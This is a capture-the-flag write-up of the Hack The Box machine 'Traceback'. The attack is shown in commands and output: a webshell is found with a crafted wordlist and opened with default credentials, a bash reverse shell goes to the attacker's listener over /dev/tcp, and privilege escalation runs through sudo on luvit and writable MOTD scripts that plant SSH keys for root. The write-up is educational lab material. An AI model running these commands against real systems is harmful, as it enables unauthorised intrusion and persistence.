Traceback starts with finding a webshell that’s already one the server with some enumeration and a bit of open source research. From there, I’ll pivot to the next user with sudo that allows me to run Luvit, a Lua interpreter. To get root, I’ll notice that I can write to the message of the day directory. These scripts are run by root whenever a user logs in. I actually found this by seeing the cron that cleans up scripts dropped in this directory, but I’ll also show how to find it with some basic enumeration as well. In Beyond Root, I’ll take a quick look at the cron that’s cleaning up every thiry seconds.

## Box Info

Name Traceback
Release Date 14 Mar 2020
Retire Date 15 Aug 2020
OS Linux
Base Points Easy [20]
Rated Difficulty
00 days, 00 hours, 08 mins, 19 seconds
00 days, 00 hours, 15 mins, 17 seconds
Creator

## Recon

### nmap

nmap shows the common Linux TCP port combination of SSH (22) and HTTP (80):

root@kali# nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.10.181
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-15 06:35 EDT
Nmap scan report for 10.10.10.181
Host is up (0.020s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 8.04 seconds

root@kali# nmap -p 22,80 -sC -sV -oA scans/nmap-tcpscripts 10.10.10.181
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-15 06:36 EDT
Nmap scan report for 10.10.10.181
Host is up (0.014s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA)
|   256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)
|_  256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Help us
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.54 seconds


Based on the Apache and OpenSSH versions, the OS looks like Ubuntu 18.04 bionic.

### Website - TCP 80

#### Site

The page just has a message from Xh4H, who has hacked the site and left a backdoor:

In the page source, there’s a comment about a webshell:

<body>
<center>
<h1>This site has been owned</h1>
<h2>I have left a backdoor for all the net. FREE INTERNETZZZ</h2>
<h3> - Xh4H - </h3>
<!--Some of the best web shells that you might need ;)-->
</center>
</body>


#### Find Webshells

I kicked off a gobuster in the background, but it wouldn’t find anything. I googled the term “Some of the best web shells that you might need”, and the top hit was a nice match:

#### Make Wordlist

The page has 16 php webshells, a small enough list that I could just type them in, but I’d prefer to make a wordlist, and with some vim-foo, it’s not hard.

I copied the text off the GitHub page, and (after :set paste and i), pasted them into an empty vim window:

First, I got rid of the column of whitespace by starting at the start of the file, hitting Ctrl-v, and arrowing down to select all the tabs. Then I hit Delete:

To clean a line, I’ll enter / [enter]d$[down arrow][Home]. That will find the next space, delete to the end of the line, and then go to the start of the next line. I’ll hit qq to start recording a macro named q, and then clear the next line with / [enter]d$[down arrow][home]. [Esc]q will stop the recording. Now I can hit @q to run that same pattern once, or 14@q to run it on the rest of the lines.

alfa3.php
alfav3.0.1.php
andela.php
bloodsecv4.php
by.php
c99ud.php
cmd.php
configkillerionkros.php
jspshell.jsp
mini.php
obfuscated-punknopass.php
punk-nopass.php
punkholic.php
r57.php
smevk.php
wso2.8.5.php


#### Check for WebShells

Now I’ll gobuster with that wordlist, and find the webshell, smevk.php:

root@kali# gobuster dir -u http://10.10.10.181 -w php_shells.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.181
[+] Wordlist:       php_shells.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/03/15 07:42:43 Starting gobuster
===============================================================
/smevk.php (Status: 200)
===============================================================
2020/03/15 07:42:45 Finished
===============================================================


Visiting that path provides a login screen:

$UserName = "admin"; //Your UserName here.$auth_pass = "admin";                                  //Your Password.


And it works, letting me into the webshell where I can see the various options:

There’s a lot of capability here, but I just want a shell, so I’ll start nc listening on my host, and enter bash -c 'bash -i >& /dev/tcp/10.10.14.6/443 0>&1' into the Execute box:

root@kali# nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.181] 40482
bash: cannot set terminal process group (546): Inappropriate ioctl for device
bash: no job control in this shell
webadmin@traceback:/var/www/html$id uid=1000(webadmin) gid=1000(webadmin) groups=1000(webadmin),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare)  This seems to hang the webshell. I quickly added a RSA public key to /home/webadmin/.ssh/authorized_keys, and got an SSH connection. In fact, I could have done that through the webshell. ## Priv: webadmin –> sysadmin ### Enumeration The home directory doesn’t have user.txt, but it does have a note: webadmin@traceback:~$ ls -l
total 4


note.txt is from the other user on the box, sysadmin:

webadmin@traceback:~$cat note.txt - sysadmin - I have left this tool to practice Lua. Contact me if you have any question.  Additionally, webadmin can run luvit as sysadmin without a password using sudo: webadmin@traceback:~$ sudo -l
Matching Defaults entries for webadmin on traceback:

User webadmin may run the following commands on traceback:


Luvit is a Async I/O for Lua, similar to Node.js.

In webadmin’s .bash_history file, there’s the commands that presumably the attacker ran:

webadmin@traceback:~$cat .bash_history ls -la sudo -l nano privesc.lua sudo -u sysadmin /home/sysadmin/luvit privesc.lua rm privesc.lua logout  I can’t access /home/sysadmin, but the luvit binary must be there because running it starts a repl: webadmin@traceback:~$ /home/sysadmin/luvit

webadmin@traceback:~$sudo -u sysadmin /home/sysadmin/luvit /dev/shm/.0xdf.lua  ### SSH Now I can SSH as sysadmin: root@kali# ssh -i ~/keys/ed25519_gen sysadmin@10.10.10.181 ################################# -------- OWNED BY XH4H --------- - I guess stuff could have been configured better ^^ - ################################# Welcome to Xh4H land Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Fri Mar 6 02:31:26 2020 from 10.10.14.6$


I’ll note the welcome message, “OWNED BY XH4H”. It seems that attacker changed the welcome message.

After running bash to get a better shell, grab user.txt:

sysadmin@traceback:~$cat user.txt c2434970************************  ## Priv: sysadmin –> root ### Enumeration After looking around for a few minutes and not finding much, I uploaded pspy. I saw that every minute, there looked like a Cron restoring /etc/update-motd.d/: 2020/03/15 09:38:01 CMD: UID=0 PID=1445 | sleep 30 2020/03/15 09:38:01 CMD: UID=0 PID=1444 | /bin/sh -c /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/ 2020/03/15 09:38:01 CMD: UID=0 PID=1443 | /bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/ 2020/03/15 09:38:01 CMD: UID=0 PID=1442 | /usr/sbin/CRON -f 2020/03/15 09:38:01 CMD: UID=0 PID=1441 | /usr/sbin/CRON -f 2020/03/15 09:38:31 CMD: UID=0 PID=1447 | /bin/cp /var/backups/.update-motd.d/00-header /var/backups/.update-motd.d/10-help-text /var/backups/.update-motd.d/50-motd-news /var/backups/.update-motd.d/80-esm /var/backups/.update-motd.d/91-release-upgrade /etc/update-motd.d/  In fact, the update seems to run twice, with the cron, and after a 30 second sleep. If I run a ps auxww, there’s a 50% chance I’ll see the sleep and clean in there: sysadmin@traceback:~$ ps auxww
...[snip]...
root      33389  0.0  0.0  58792  3100 ?        S    12:31   0:00 /usr/sbin/CRON -f
root      33392  0.0  0.0   4628   776 ?        Ss   12:31   0:00 /bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/
root      33393  0.0  0.0   7468   760 ?        S    12:31   0:00 sleep 30
...[snip]...


This led me to look at these directories. I can’t write in /var/backups/.update-motd.d. But the files in /etc/update-motd.d are writable by the sysadmin group:

sysadmin@traceback:/etc$ls -l update-motd.d/ total 24 -rwxrwxr-x 1 root sysadmin 981 Mar 15 09:39 00-header -rwxrwxr-x 1 root sysadmin 982 Mar 15 09:39 10-help-text -rwxrwxr-x 1 root sysadmin 4264 Mar 15 09:39 50-motd-news -rwxrwxr-x 1 root sysadmin 604 Mar 15 09:39 80-esm -rwxrwxr-x 1 root sysadmin 299 Mar 15 09:39 91-release-upgrade  These are the scripts that root runs each time a user logs into the box. Looking at one of these, I can see they are each shell scripts: sysadmin@traceback:/etc/update-motd.d$ cat 91-release-upgrade
#!/bin/sh

# if the current release is under development there won't be a new one
if [ "$(lsb_release -sd | cut -d' ' -f4)" = "(development" ]; then exit 0 fi if [ -x /usr/lib/ubuntu-release-upgrader/release-upgrade-motd ]; then exec /usr/lib/ubuntu-release-upgrader/release-upgrade-motd fi  According to the man pages, these files are: executed by pam_motd(8) as the root user at each login, and this information is concatenated in /var/run/motd. The order of script execution is determined by the run-parts(8) --lsbsysinit option (basically alphabetical order, with a few caveats).  I had noted earlier that the attacker changed the MOTD. It seems like an obvious hint (in hindsight). I’ll look in Beyond Root at how I could have detected this without the cron. ### Shell I could add a reverse shell into one of these, but instead I’ll add code to get my public key into /root/.ssh/authorized_keys: sysadmin@traceback:/etc/update-motd.d$ echo "cp /home/sysadmin/.ssh/authorized_keys /root/.ssh/" >> 00-header


These files are going to be run when I SSH into the box. So I’ll immediately SSH into the box as webadmin before the 30 second cleanup happens. When I do, the 00-header script is run, and now my public key should be in root’s authorized_keys file.

I’ll SSH in as root:

root@kali# ssh -i ~/keys/id_rsa_generated root@10.10.10.181
#################################
-------- OWNED BY XH4H  ---------
- I guess stuff could have been configured better ^^ -
#################################

Welcome to Xh4H land

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Fri Jan 24 03:43:29 2020
root@traceback:~#


Now I can grab root.txt:

root@traceback:~# cat root.txt
ccda9e55************************


## Beyond Root

### Cron

Just to take a quick look at the cron that’s driving the cleanup, it is actually two crons:

root@traceback:~# crontab -l
...[snip]...
# m h  dom mon dow   command
* * * * * /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/
* * * * * sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/


The first just runs, and the second does a sleep for 30 seconds, and then runs the same thing. This effectively has the cleanup run every 30 seconds.

### MOTD Enumeration

#### Background

I noticed that the MOTD folder was writable because I was looking for crons and noticed the cleanup. But if this weren’t a CTF, there would be no cleanup script. How could I have noticed it just by looking for the underlying vulnerability?

#### Manually

I noted that the attacker changed the message of the day. If I check manually, I can see that the directory and all the files in it are owned by root but the group id is sysadmin:

sysadmin@traceback:/etc\$ find update-motd.d/ -ls
1049055      4 drwxr-xr-x   2 root     sysadmin     4096 Aug 27  2019 update-motd.d/
1049058      8 -rwxrwxr-x   1 root     sysadmin     4264 Aug 10 17:24 update-motd.d/50-motd-news
1049057      4 -rwxrwxr-x   1 root     sysadmin      982 Aug 10 17:24 update-motd.d/10-help-text
1049059      4 -rwxrwxr-x   1 root     sysadmin      604 Aug 10 17:24 update-motd.d/80-esm


This is enough to modify one of these files.

#### LinPEAS

But rather than remembering to check each time, it’s nicer to have a script that does it for me. LinPEAS will report files modified recently:

[+] Modified interesting files in the last 5mins
/etc/update-motd.d/50-motd-news
/etc/update-motd.d/10-help-text
/etc/update-motd.d/80-esm


But this is also part of the cleanup.

It is called out as an interesting file that is group writable:

[+] Interesting GROUP writable files (not in Home)
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files
/etc/update-motd.d/50-motd-news
/etc/update-motd.d/10-help-text
/etc/update-motd.d/80-esm


That’s probably the tip I could use to find it.

#### LinEnum

does much worse, not highlighting this vulnerability at all in the standard configuration.

I always run it with -t (or actually just edit the original file so that thorough tests are enabled), and that does give similar output to LinPEAS. There a check for files not owned by the current user by writable by group:

[-] Files not owned by user but writable by group:
-rwxrwxr-x 1 root sysadmin 4264 Aug 13 10:43 /etc/update-motd.d/50-motd-news
-rwxrwxr-x 1 root sysadmin 982 Aug 13 10:43 /etc/update-motd.d/10-help-text